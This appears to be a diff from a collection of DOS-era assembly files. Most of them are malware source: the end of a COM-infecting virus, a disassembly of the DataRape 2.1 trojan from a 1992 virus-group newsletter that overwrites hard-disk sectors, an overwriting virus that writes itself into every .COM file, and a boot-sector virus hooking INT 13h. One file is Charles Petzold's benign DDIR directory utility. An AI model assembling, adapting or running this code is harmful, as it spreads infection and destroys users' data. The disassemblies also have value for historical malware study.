||||
NOP
|
||||
LEA DX,[SI+106H] ; Address start of virus
|
||||
MOV AH,40H ; Write handle function
|
||||
INT 21H ; DOS service
|
||||
MOV AX,4200H ; Move file pointer (start) function
|
||||
XOR CX,CX ; \ No displacement
|
||||
XOR DX,DX ; /
|
||||
INT 21H ; DOS service
|
||||
MOV AX,CS:DW009A ; Get low-order length
|
||||
SUB AX,3 ; Subtract length of jump
|
||||
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
|
||||
MOV AH,40H ; Write handle function
|
||||
MOV CX,3 ; Length of jump
|
||||
LEA DX,DB03DF[SI+106H] ; Address jump instruction
|
||||
INT 21H ; DOS service
|
||||
POP DX
|
||||
POP CX
|
||||
AND CL,0E0H ; Isolate low part of minutes
|
||||
MOV AL,CL ; Copy low part of minutes
|
||||
SHR CL,1 ; \
|
||||
SHR CL,1 ; \
|
||||
SHR CL,1 ; ) Move mins to secs position
|
||||
SHR CL,1 ; /
|
||||
SHR CL,1 ; /
|
||||
OR CL,AL ; Combine with minutes
|
||||
MOV AX,5701H ; Set file date & time function
|
||||
INT 21H ; DOS service
|
||||
MOV AH,3EH ; Close handle function
|
||||
INT 21H ; DOS service
|
||||
CALL BP03C1 ; Replace attributes
|
||||
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
|
||||
MOV AH,3BH ; Change current directory function
|
||||
LEA DX,DB0417[SI+106H] ; Current directory path name
|
||||
INT 21H ; DOS service
|
||||
RET
|
||||
|
||||
; Remove read-only attribute
|
||||
|
||||
BP03AA: MOV DX,009EH ; Address file name
|
||||
MOV AX,4300H ; Get file attributes function
|
||||
INT 21H ; DOS service
|
||||
MOV CS:DW03F3[SI+106H],CX ; Save attributes
|
||||
AND CX,00FEH ; Set off read-only
|
||||
MOV AX,4301H ; Set file attributes function
|
||||
INT 21H ; DOS service
|
||||
RET
|
||||
|
||||
; Replace attributes
|
||||
|
||||
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
|
||||
MOV DX,009EH ; Address file name
|
||||
MOV AX,4301H ; Set file attributes function
|
||||
INT 21H ; DOS service
|
||||
RET
|
||||
|
||||
DW03CF DW 1142H ; Original Int 24H segment
|
||||
DW03D1 DW 175DH ; Original Int 24H offset
|
||||
DW03D3 DW 0039H ; Low-order length of host
|
||||
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
|
||||
DB03DF DB 0E9H ; \ Jump for host program
|
||||
DW03E0 DW 0 ; /
|
||||
DB03E2 DB 0BH
|
||||
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
|
||||
DW03E8 DW 0A0CH ; Start month and day
|
||||
DB03EA DB 0 ; Start month
|
||||
DB03EB DB 0 ; Infection completed switch
|
||||
DB03EC DB 3 ; Disk drive pointer
|
||||
DB03ED DB '*.COM', 0
|
||||
DW03F3 DW 20H ; File attributes
|
||||
DB03F5 DB 0 ; Original current disk
|
||||
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
|
||||
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
|
||||
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
|
||||
|
||||
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
|
||||
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
|
||||
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
|
||||
|
||||
ENDADR EQU $
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
|
||||
|
||||
Article Title: Data Rape v2.1 Trojan
|
||||
Author: Admiral Bailey
|
||||
|
||||
|
||||
;=---
|
||||
;
|
||||
; DataRape 2.1 Trojan
|
||||
;
|
||||
; Disassembled By Admiral Bailey [YAM '92]
|
||||
; June 25, 1992
|
||||
;
|
||||
; The writers of this virus are Zodiac and Data Disruptor
|
||||
;
|
||||
; Notes:Just a regular trojan. This one puts the messege into the
|
||||
; sector it writes. Even though its not advanced it gets the
|
||||
; job done.
|
||||
;
|
||||
;=---------
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
|
||||
datarap2 proc far
|
||||
start:
|
||||
jmp begin
|
||||
messege db '----------------------------',0Dh,0ah
|
||||
db ' DataRape v2.1 ',0dh,0ah
|
||||
db ' Written by Zodiac and ',0dh,0ah
|
||||
db ' Data Disruptor ',0dh,0ah
|
||||
copyright db '(c) 1991 RABID International',0dh,0ah
|
||||
db '----------------------------',0dh,0ah
|
||||
|
||||
sector db 1
|
||||
data_3 db 0
|
||||
|
||||
begin:
|
||||
mov ah,0Bh ; write sectors
|
||||
mov al,45h ; sectors to write to
|
||||
mov bx,offset messege ; writes this messege
|
||||
mov ch,0 ; clear out these
|
||||
mov cl,0
|
||||
mov dh,0
|
||||
mov dl,80h ; drive
|
||||
int 13h
|
||||
|
||||
jnc write_loop ; nomatter what jump to
|
||||
jc write_loop ; the write loop and
|
||||
jmp short write_loop ; destroy rest of drive
|
||||
nop
|
||||
compare:
|
||||
mov sector,1 ; start writing at sec1
|
||||
inc data_3
|
||||
jmp short loc_4
|
||||
db 90h
|
||||
write_loop:
|
||||
cmp data_3,28h
|
||||
jae quit
|
||||
cmp sector,9
|
||||
ja compare
|
||||
loc_4:
|
||||
mov ah,3 ; write sec's from mem
|
||||
mov al,9 ; #
|
||||
mov bx,offset messege ; this is in mem
|
||||
mov ch,data_3 ; cylinder
|
||||
mov cl,sector ; sector
|
||||
mov dh,0 ; drive head
|
||||
mov dl,2 ; drive
|
||||
int 13h
|
||||
|
||||
inc sector ; move up a sector
|
||||
jmp short write_loop
|
||||
db 73h, 02h, 72h, 00h
|
||||
quit:
|
||||
mov ax,4C00h
|
||||
int 21h ; now quit
|
||||
|
||||
datarap2 endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,55 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ DC-B ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 26-Dec-91 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_009E_e equ 9Eh
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; 'N'
|
||||
mov dx,offset data_0124
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
loc_0107:
|
||||
mov ax,3D01h
|
||||
mov dx,data_009E_e
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
xchg ax,bx
|
||||
mov ah,40h ; '@'
|
||||
mov cl,2Ah ; '*'
|
||||
mov dx,100h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
mov ah,4Fh ; 'O'
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jnc loc_0107 ; Jump if carry=0
|
||||
retn
|
||||
data_0124 db 2Ah
|
||||
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,441 @@
|
||||
; DDIR.ASM -- Double Column Sorted DIR Command
|
||||
; ========
|
||||
; (C) Copyright Charles Petzold, 1985
|
||||
;
|
||||
; COM file format
|
||||
;
|
||||
|
||||
CSEG Segment
|
||||
|
||||
Assume CS:CSEG, DS:CSEG
|
||||
|
||||
Org 002Ch ; Offset of Environment
|
||||
Environment Label Byte
|
||||
|
||||
Org 007Bh ; Parameter for COMMAND.COM
|
||||
NewParameter Label Byte
|
||||
|
||||
Org 0080h ; Parameter passed to program
|
||||
OldParameter Label Byte
|
||||
|
||||
Org 0100h ; Entry point
|
||||
Entry: Jmp Begin
|
||||
|
||||
; All Data
|
||||
; --------
|
||||
|
||||
db '(C) Copyright Charles Petzold, 1985'
|
||||
|
||||
DosVersMsg db "Needs DOS 2.0 +$" ; Error messages
|
||||
MemAllocMsg db "Memory Problem$"
|
||||
CommandMsg db "COMMAND Problem$"
|
||||
|
||||
Comspec db "COMSPEC=" ; Search string in environment
|
||||
CommandAsciiz dd ? ; Eventual pointer to COMMAND
|
||||
|
||||
ParamBlock dw ? ; Parameter Block for EXEC
|
||||
dw NewParameter,? ; First ? must be replaced
|
||||
dw 5Ch,? ; with Environment segment;
|
||||
dw 6Ch,? ; others with this segment
|
||||
|
||||
OldInterrupt21 dd ? ; For vector address storage
|
||||
|
||||
BufferPtr dw Offset FileBuffer ; For storing files listing
|
||||
CharCounter dw 0 ; Keeps track of characters
|
||||
NowDoingFile db 0 ; Flagged for file printed
|
||||
WithinFileList db 0 ; Flagged for file list
|
||||
FileCounter dw 0 ; Keeps track of files
|
||||
LineCounter db 0 ; For pausing at screen end
|
||||
|
||||
PauseMessage db 6 dup (205)," Press any key to continue "
|
||||
db 6 dup (205),181
|
||||
PauseMsgEnd Label Byte
|
||||
|
||||
; Check DOS Version
|
||||
; -----------------
|
||||
|
||||
Begin: Mov AH,30h ; DOS Version function call
|
||||
Int 21h ; Call DOS
|
||||
Cmp AL,2 ; Check if version 2
|
||||
Jae DosVersOK ; If equal or over, all OK
|
||||
|
||||
Mov DX,Offset DosVersMsg ; Wrong DOS version message
|
||||
ErrorExit: Mov AH,9 ; Set up for string write
|
||||
Int 21h ; Call DOS for message
|
||||
|
||||
Int 20h ; Dishonorable discharge
|
||||
|
||||
; Adjust stack and un-allocate rest of memory
|
||||
; -------------------------------------------
|
||||
|
||||
DosVersOK: Mov DI,Offset FileBuffer ; Place to save files
|
||||
Mov CX,528 * 39 ; Allow room for 528 files
|
||||
Mov AL,' ' ; Will clear with blanks
|
||||
Cld ; Forward direction
|
||||
Rep Stosb ; Clear the area
|
||||
|
||||
Mov BX,(Offset FileBuffer) + (528 * 39) + 100h
|
||||
; New end of program
|
||||
Mov SP,BX ; Set the stack pointer
|
||||
Add BX,15 ; Add 15 for rounding
|
||||
Mov CL,4 ; Number of shifts
|
||||
Shr BX,CL ; Convert AX to segment
|
||||
|
||||
Mov AH,4Ah ; DOS call to shrink down
|
||||
Int 21h ; allocated memory
|
||||
|
||||
Mov DX,Offset MemAllocMsg ; Possible error message
|
||||
Jc ErrorExit ; Only print it if Carry set
|
||||
|
||||
; Search for Comspec in Environment
|
||||
; ---------------------------------
|
||||
|
||||
Mov ES,[Environment] ; Environment Segment
|
||||
Sub DI,DI ; Start search at beginning
|
||||
Cld ; String increment to forward
|
||||
|
||||
TryThis: Cmp Byte Ptr ES:[DI],0 ; See if end of environment
|
||||
Jz NoFindComSpec ; If so, we have failed
|
||||
|
||||
Push DI ; Save environment pointer
|
||||
Mov SI,Offset ComSpec ; String to search for
|
||||
Mov CX,8 ; Characters in search string
|
||||
Repz Cmpsb ; Check if strings are same
|
||||
Pop DI ; Get back the pointer
|
||||
|
||||
Jz FoundComspec ; Found string only zero flag
|
||||
|
||||
Sub AL,AL ; Zero out AL
|
||||
Mov CX,8000h ; Set for big search
|
||||
Repnz Scasb ; Find the next zero in string
|
||||
Jmp TryThis ; And do the search from there
|
||||
|
||||
NoFindComSpec: Mov DX,Offset CommandMsg ; Message for COMSPEC error
|
||||
Jmp ErrorExit ; Print it and exit
|
||||
|
||||
FoundComspec: Add DI,8 ; So points after 'COMSPEC='
|
||||
Mov Word Ptr [CommandASCIIZ],DI ; Save the address of
|
||||
Mov Word Ptr [CommandASCIIZ + 2],ES ; COMMAND ASCIIZ
|
||||
|
||||
; Set up parameter block for EXEC call
|
||||
; ------------------------------------
|
||||
|
||||
Mov [ParamBlock],ES ; Segment of Environment string
|
||||
Mov [ParamBlock + 4],CS ; Segment of this program
|
||||
Mov [ParamBlock + 8],CS ; so points to FCB's
|
||||
Mov [ParamBlock + 12],CS ; and NewParameter
|
||||
|
||||
; Save and set Interrupt 21h vector address
|
||||
; -----------------------------------------
|
||||
|
||||
Mov AX,3521h ; DOS call to get Interrupt 21
|
||||
Int 21h ; vector address
|
||||
Mov Word Ptr [OldInterrupt21],BX ; Save offset
|
||||
Mov Word Ptr [OldInterrupt21 + 2],ES ; And segment
|
||||
|
||||
Mov DX,Offset NewInterrupt21; Address of new Interrupt 21
|
||||
Mov AX,2521h ; Do DOS call to
|
||||
Int 21h ; set the new address
|
||||
|
||||
; Fix up new parameter for "/C DIR" String
|
||||
; ------------------------------------
|
||||
|
||||
Mov AL,[OldParameter] ; Number of parameter chars
|
||||
Add AL,5 ; We'll be adding five more
|
||||
Mov [NewParameter],AL ; Save it
|
||||
Mov Word Ptr [NewParameter + 1],'C/' ; i.e. "/C"
|
||||
Mov Word Ptr [NewParameter + 3],'ID' ; Then "DI"
|
||||
Mov Byte Ptr [NewParameter + 5],'R' ; And "R"
|
||||
|
||||
; Load COMMAND.COM
|
||||
; -----------------
|
||||
|
||||
Push CS ; Push this segment so we can
|
||||
Pop ES ; set ES to it
|
||||
Mov BX,Offset ParamBlock ; ES:BX = address of block
|
||||
Lds DX,[CommandAsciiz] ; DS:DX = address of ASCIIZ
|
||||
Mov AX,4B00h ; EXEC call 4Bh, type 0
|
||||
Int 21h ; Load command processor
|
||||
|
||||
; Return from COMMAND.COM
|
||||
; -----------------------
|
||||
|
||||
Mov AX,CS ; Get this segment in AX
|
||||
Mov DS,AX ; Set DS to it
|
||||
Mov SS,AX ; And SS for stack segment
|
||||
Mov SP,(Offset FileBuffer) + (528 * 39) + 100h
|
||||
; Set Stack again
|
||||
|
||||
PushF ; Save Carry for error check
|
||||
Push DS ; Save DS during next call
|
||||
|
||||
Mov DX,Word Ptr [OldInterrupt21] ; Old Int 21 offset
|
||||
Mov DS,Word Ptr [OldInterrupt21 + 2]; and segment
|
||||
Mov AX,2521h ; Call DOS to set vector
|
||||
Int 21h ; address to original
|
||||
|
||||
Pop DS ; Restore DS to this segment
|
||||
PopF ; Get back Carry flage
|
||||
|
||||
Jnc NormalEnd ; Continue if no error
|
||||
|
||||
Mov DX,Offset CommandMsg ; Otherwise we'll print error
|
||||
Jmp ErrorExit ; message and exit
|
||||
|
||||
NormalEnd: Int 20h ; Terminate program
|
||||
|
||||
; New Interrupt 21h
|
||||
; -----------------
|
||||
|
||||
NewInterrupt21 Proc Far
|
||||
|
||||
Sti ; Allow further interrupts
|
||||
Cmp AH,40h ; Check if file / device write
|
||||
Je CheckHandle ; If so, continue checks
|
||||
|
||||
SkipIntercept: Jmp CS:[OldInterrupt21] ; Just jump to old interrupt
|
||||
|
||||
CheckHandle: Cmp BX,1 ; Check if standard output
|
||||
Jne SkipIntercept ; Not interested if not
|
||||
|
||||
PushF ; Push all registers that
|
||||
Push AX ; we'll be messing with
|
||||
Push CX
|
||||
Push SI
|
||||
Push DI
|
||||
Push ES
|
||||
|
||||
Push CS ; Push the code segment
|
||||
Pop ES ; So we can set ES to it
|
||||
Cld ; Forward for string transfers
|
||||
Mov SI,DX ; Now DS:SI = text source
|
||||
Mov DI,CS:[BufferPtr] ; And ES:DI = text destination
|
||||
|
||||
Cmp CX,2 ; See if two chars to write
|
||||
Jne RegularChars ; If not, can't be CR/LF
|
||||
|
||||
Cmp Word Ptr DS:[SI],0A0Dh ; See if CR/LF being written
|
||||
Jne RegularChars ; Skip rest if not CR/LF
|
||||
|
||||
Mov CX,CS:[CharCounter] ; Get characters in line
|
||||
Mov CS:[CharCounter],0 ; Start at new line
|
||||
Cmp CS:[NowDoingFile],1 ; See if CR/LF terminates file
|
||||
Jnz AllowTransfer ; If not, just write to screen
|
||||
|
||||
Mov AX,39 ; Max characters per line
|
||||
Sub AX,CX ; Subtract those passed
|
||||
Add CS:[BufferPtr],AX ; Kick up pointer by that
|
||||
Mov CS:[NowDoingFile],0 ; Finished with file
|
||||
Jmp PopAndReturn ; So just return to COMMAND
|
||||
|
||||
RegularChars: Add CS:[CharCounter],CX ; Kick up counter by number
|
||||
Cmp CS:[CharCounter],CX ; See if beginning of line
|
||||
Jne NotLineBegin ; If not, must be in middle
|
||||
|
||||
Cmp Byte Ptr DS:[SI],' ' ; See if first char is blank
|
||||
Jne ItsAFile ; If not, it's a file line
|
||||
|
||||
Cmp CS:[WithinFileList],1 ; See if doing file listing
|
||||
Jne AllowTransfer ; If not, just print stuff
|
||||
|
||||
Call SortAndList ; Files done -- sort and list
|
||||
Mov CS:[WithinFileList],0 ; Not doing files now
|
||||
Jmp Short AllowTransfer ; So just print the stuff
|
||||
|
||||
ItsAFile: Cmp CS:[FileCounter],528 ; See if 11 buffer filled up
|
||||
Jb NotTooManyFiles ; If not just continue
|
||||
|
||||
Push CX ; Otherwise, save this register
|
||||
Call SortAndList ; Print all up to now
|
||||
Mov CS:[FileCounter],0 ; Reset the counter
|
||||
Mov DI,Offset FileBuffer ; And the pointer
|
||||
Mov CS:[BufferPtr],DI ; Save the pointer
|
||||
Mov CX,528 * 39 ; Will clear for 528 files
|
||||
Mov AL,' ' ; With a blank
|
||||
Rep Stosb ; Clear it out
|
||||
Pop CX ; And get back register
|
||||
|
||||
NotTooManyFiles:Mov CS:[WithinFileList],1 ; We're doing files now
|
||||
Mov CS:[NowDoingFile],1 ; And a file in particular
|
||||
Inc CS:[FileCounter] ; So kick up this counter
|
||||
|
||||
NotLineBegin: Cmp CS:[NowDoingFile],1 ; See if doing files
|
||||
Je StoreCharacters ; If so, store the stuff
|
||||
|
||||
AllowTransfer: Pop ES ; Pop all the registers
|
||||
Pop DI
|
||||
Pop SI
|
||||
Pop CX
|
||||
Pop AX
|
||||
PopF
|
||||
|
||||
Jmp SkipIntercept ; And go to DOS for print
|
||||
|
||||
StoreCharacters:Mov DI,CS:[BufferPtr] ; Set destination
|
||||
Rep Movsb ; Move characters to buffer
|
||||
Mov CS:[BufferPtr],DI ; And save new pointer
|
||||
|
||||
PopAndReturn: Pop ES ; Pop all the registers
|
||||
Pop DI
|
||||
Pop SI
|
||||
Pop CX
|
||||
Pop AX
|
||||
PopF
|
||||
|
||||
Mov AX,CX ; Set for COMMAND.COM
|
||||
Clc ; No error here
|
||||
Ret 2 ; Return with CY flag cleared
|
||||
|
||||
NewInterrupt21 EndP
|
||||
|
||||
; Sort Files
|
||||
; ----------
|
||||
|
||||
SortAndList: Push BX ; Push a bunch of registers
|
||||
Push DX
|
||||
Push SI
|
||||
Push DS
|
||||
|
||||
Push CS ; Push CS
|
||||
Pop DS ; so we can set DS to it
|
||||
Assume DS:CSEG ; And inform the assembler
|
||||
|
||||
Mov DI,Offset FileBuffer ; This is the beginning
|
||||
Mov CX,[FileCounter] ; Number of files to sort
|
||||
Dec CX ; Loop needs one less than that
|
||||
Jcxz AllSorted ; But zero means only one file
|
||||
|
||||
SortLoop1: Push CX ; Save the file counter
|
||||
Mov SI,DI ; Set source to destination
|
||||
|
||||
SortLoop2: Add SI,39 ; Set source to next file
|
||||
|
||||
Push CX ; Save the counter,
|
||||
Push SI ; compare source,
|
||||
Push DI ; and compare destination
|
||||
|
||||
Mov CX,39 ; 39 characters to compare
|
||||
Repz Cmpsb ; Do the compare
|
||||
Jae NoSwitch ; Jump if already in order
|
||||
|
||||
Pop DI ; Get back these registers
|
||||
Pop SI
|
||||
|
||||
Push SI ; And push them again for move
|
||||
Push DI
|
||||
|
||||
Mov CX,39 ; 39 characters
|
||||
SwitchLoop: Mov AL,ES:[DI] ; Character from destination
|
||||
Movsb ; Source to destination
|
||||
Mov DS:[SI - 1],AL ; Character to source
|
||||
Loop SwitchLoop ; For the rest of the line
|
||||
|
||||
NoSwitch: Pop DI ; Get back the registers
|
||||
Pop SI
|
||||
Pop CX
|
||||
Loop SortLoop2 ; And loop for next file
|
||||
|
||||
Pop CX ; Get back file counter
|
||||
Add DI,39 ; Compare with next file
|
||||
Loop SortLoop1 ; And loop again
|
||||
|
||||
; Now Display Sorted Files
|
||||
; ------------------------
|
||||
|
||||
AllSorted: Mov SI,Offset FileBuffer ; This is the beginning
|
||||
Mov CX,[FileCounter] ; Number of files to list
|
||||
Inc CX ; In case CX is odd
|
||||
Shr CX,1 ; CX now is number of lines
|
||||
|
||||
SetIncrement: Mov BX,24 * 39 ; Increment for double list
|
||||
Cmp CX,24 ; But use it only if a full
|
||||
Jae LineLoop ; screen is printed
|
||||
|
||||
Mov AX,39 ; Otherwise find increment
|
||||
Mul CX ; by multiplying CX by 39
|
||||
Mov BX,AX ; And make that the increment
|
||||
|
||||
LineLoop: Call PrintFile ; Print the first column file
|
||||
Mov AL,' ' ; Skip one space
|
||||
Call PrintChar ; by printing blank
|
||||
Mov AL,179 ; Put a line down the middle
|
||||
Call PrintChar
|
||||
Mov AL,' ' ; Skip another space
|
||||
Call PrintChar
|
||||
|
||||
Add SI,BX ; Bump up source by increment
|
||||
Sub SI,39 ; But kick down by 39
|
||||
|
||||
Call PrintFile ; Print the second column file
|
||||
Call CRLF ; And terminate line
|
||||
|
||||
Sub SI,BX ; Bring pointer back down
|
||||
|
||||
Inc [LineCounter] ; One more line completed
|
||||
Cmp [LineCounter],24 ; Have we done whole screen?
|
||||
Jz PauseAtEnd ; If so, gotta pause now
|
||||
|
||||
Loop LineLoop ; Otherwise just loop
|
||||
Jmp Short AllFinished ; And jump out when done
|
||||
|
||||
PauseAtEnd: Mov [LineCounter],0 ; Reset the counter
|
||||
Add SI,BX ; Go to next file
|
||||
|
||||
Push BX ; Save these registers
|
||||
Push CX
|
||||
Mov DX,Offset PauseMessage ; Test to print
|
||||
Mov CX,Offset PauseMsgEnd - Offset PauseMessage
|
||||
; Number of characters
|
||||
Mov BX,2 ; Standard ERROR Output
|
||||
Mov AH,40h ; Display to screen
|
||||
Int 21h ; By calling DOS
|
||||
Pop CX ; Retrieve pushed registers
|
||||
Pop BX
|
||||
|
||||
Mov AH,8 ; Wait for character
|
||||
Int 21h ; Through DOS call
|
||||
|
||||
Call CRLF ; Go to next line
|
||||
|
||||
Loop SetIncrement ; And recalculate increment
|
||||
|
||||
AllFinished: Pop DS ; Done with subroutine
|
||||
Pop SI
|
||||
Pop DX
|
||||
Pop BX
|
||||
Ret ; So return to caller
|
||||
|
||||
; Display Routines
|
||||
; ----------------
|
||||
|
||||
PrintChar: Mov DL,AL ; Print character in AL
|
||||
Mov AH,2 ; By simple DOS call
|
||||
Int 21h
|
||||
Ret ; And return
|
||||
|
||||
CRLF: Mov AL,13 ; Print a carriage return
|
||||
Call PrintChar
|
||||
Mov AL,10 ; And a line feed
|
||||
Call PrintChar
|
||||
Ret ; And return
|
||||
|
||||
PrintString: Lodsb ; Get character from SI
|
||||
Call PrintChar ; Print it
|
||||
Loop PrintString ; Do that CX times
|
||||
Ret ; And return
|
||||
|
||||
PrintFile: Push CX ; Save the counter
|
||||
Mov CX,32 ; Bytes for Name, Size, & Date
|
||||
Call PrintString ; Print it
|
||||
Inc SI ; Skip one space before time
|
||||
Mov CX,6 ; Bytes for Time
|
||||
Call PrintString ; It's a print!
|
||||
Pop CX
|
||||
Ret ; And return
|
||||
|
||||
FileBuffer Label Byte ; Points to end of code
|
||||
|
||||
CSEG EndS ; End of segment
|
||||
|
||||
End Entry ; Denotes entry point
|
||||
|
||||
@@ -0,0 +1,284 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ DEBUG ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 16-Sep-94 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
target EQU 'T3' ; Target assembler: TASM-3.1
|
||||
|
||||
include srmacros.inc
|
||||
|
||||
|
||||
; The following equates show data references outside the range of the program.
|
||||
|
||||
data_1e equ 6
|
||||
data_2e equ 0Eh
|
||||
data_3e equ 417h
|
||||
data_4e equ 46Eh
|
||||
data_5e equ 24h
|
||||
data_6e equ 26h
|
||||
data_7e equ 4Ch
|
||||
data_8e equ 4Eh
|
||||
data_13e equ 413h ;*
|
||||
data_14e equ 46Eh ;*
|
||||
data_15e equ 7C00h ;*
|
||||
data_16e equ 7CD3h ;*
|
||||
data_18e equ 7D25h ;*
|
||||
data_19e equ 7DBDh ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
debug proc far
|
||||
|
||||
start:
|
||||
jmp short real_start
|
||||
;* No entry point to code
|
||||
nop
|
||||
push si
|
||||
inc di
|
||||
inc cx
|
||||
inc bx
|
||||
push ax
|
||||
db 36h, 30h, 33h, 00h, 02h, 01h
|
||||
db 01h, 00h, 02h, 70h, 00h, 68h
|
||||
db 06h,0F9h, 05h, 00h, 0Ah, 00h
|
||||
db 02h
|
||||
db 9 dup (0)
|
||||
db 01h, 00h, 29h,0EDh, 93h, 26h
|
||||
db 1Dh
|
||||
db 'NO NAME FAT12 '
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; External Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
real_start:
|
||||
cli ; Disable interrupts
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,ds:data_7e
|
||||
mov ds:data_16e,ax
|
||||
mov ax,ds:data_8e
|
||||
mov word ptr ds:data_16e+2,ax
|
||||
mov al,ds:data_14e
|
||||
mov ds:data_19e,al
|
||||
mov ax,ds:data_13e
|
||||
dec ax
|
||||
mov ds:data_13e,ax
|
||||
mov cl,6
|
||||
shl ax,cl ; Shift w/zeros fill
|
||||
sub ax,7C0h
|
||||
mov ds:data_8e,ax
|
||||
mov ds:data_6e,ax
|
||||
mov word ptr ds:data_7e,7C82h
|
||||
mov word ptr ds:data_5e,7D62h
|
||||
mov si,data_15e
|
||||
mov di,si
|
||||
mov es,ax
|
||||
mov cx,100h
|
||||
cld ; Clear direction
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
int 19h ; Bootstrap loader
|
||||
cmp ah,0AAh
|
||||
jne loc_1 ; Jump if not equal
|
||||
iret ; Interrupt return
|
||||
loc_1:
|
||||
cmp ah,2
|
||||
jne loc_4 ; Jump if not equal
|
||||
cmp cx,1
|
||||
jne loc_4 ; Jump if not equal
|
||||
cmp dh,0
|
||||
jne loc_4 ; Jump if not equal
|
||||
push ax
|
||||
push bx
|
||||
push si
|
||||
push di
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_16e
|
||||
jnc loc_2 ; Jump if carry=0
|
||||
jmp short loc_5
|
||||
loc_2:
|
||||
cmp word ptr es:[1FEh][bx],0AA55h
|
||||
je loc_3 ; Jump if equal
|
||||
jmp short $+29h
|
||||
db 26h, 80h,0BFh,0BCh, 01h,0C9h
|
||||
db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h
|
||||
data_10 db 31h ; Data table (indexed access)
|
||||
db 00h, 8Bh,0F3h, 80h,0FAh, 79h
|
||||
db 77h, 1Eh, 83h,0C6h, 02h,0BFh
|
||||
db 02h, 7Ch,0B9h, 1Eh, 00h, 32h
|
||||
db 0F6h,0EBh, 30h,0EAh, 85h,0A5h
|
||||
db 00h,0F0h
|
||||
db 0B8h, 01h, 00h,0F8h
|
||||
loc_5:
|
||||
pop di
|
||||
pop si
|
||||
pop bx
|
||||
inc sp
|
||||
inc sp
|
||||
retf 2 ; Return far
|
||||
